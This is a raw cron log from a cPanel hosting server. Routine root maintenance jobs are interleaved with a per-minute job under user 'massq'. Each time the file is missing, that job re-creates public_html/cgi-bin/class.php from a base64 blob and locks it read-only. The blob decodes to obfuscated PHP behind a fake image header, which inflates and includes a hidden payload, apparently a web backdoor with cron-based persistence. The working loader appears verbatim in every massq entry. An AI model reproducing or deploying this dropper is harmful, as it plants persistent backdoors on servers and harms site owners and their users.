Sep 10 05:45:01 server CROND[28295]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 05:45:01 server CROND[28294]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:45:01 server CROND[28293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:46:01 server CROND[29107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:46:01 server CROND[29108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:46:01 server CROND[29109]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:47:01 server CROND[29478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:47:01 server CROND[29479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:47:01 server CROND[29480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:48:01 server CROND[29847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:48:01 server CROND[29849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:48:01 server CROND[29848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:49:01 server CROND[30210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:49:01 server CROND[30211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:49:01 server CROND[30212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:50:01 server CROND[30697]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 05:50:01 server CROND[30700]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:50:01 server CROND[30705]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 05:50:01 server CROND[30718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:50:01 server CROND[30721]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 05:50:01 server CROND[30722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:50:01 server CROND[30716]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:50:01 server CROND[30717]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 05:50:01 server CROND[30720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:51:01 server CROND[31528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:51:01 server CROND[31529]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:51:01 server CROND[31530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:52:01 server CROND[31956]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep 10 05:52:01 server CROND[31957]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:52:01 server CROND[31958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:52:01 server CROND[31959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:53:01 server CROND[32435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:53:01 server CROND[32436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:53:01 server CROND[32437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:54:01 server CROND[359]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:54:01 server CROND[360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:54:01 server CROND[358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:55:01 server CROND[859]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 05:55:01 server CROND[861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:55:01 server CROND[868]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:55:01 server CROND[866]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:55:01 server CROND[870]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 05:55:01 server CROND[864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:55:01 server CROND[865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:56:01 server CROND[1783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:56:01 server CROND[1784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:56:01 server CROND[1785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:57:01 server CROND[2198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:57:01 server CROND[2199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:57:01 server CROND[2201]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
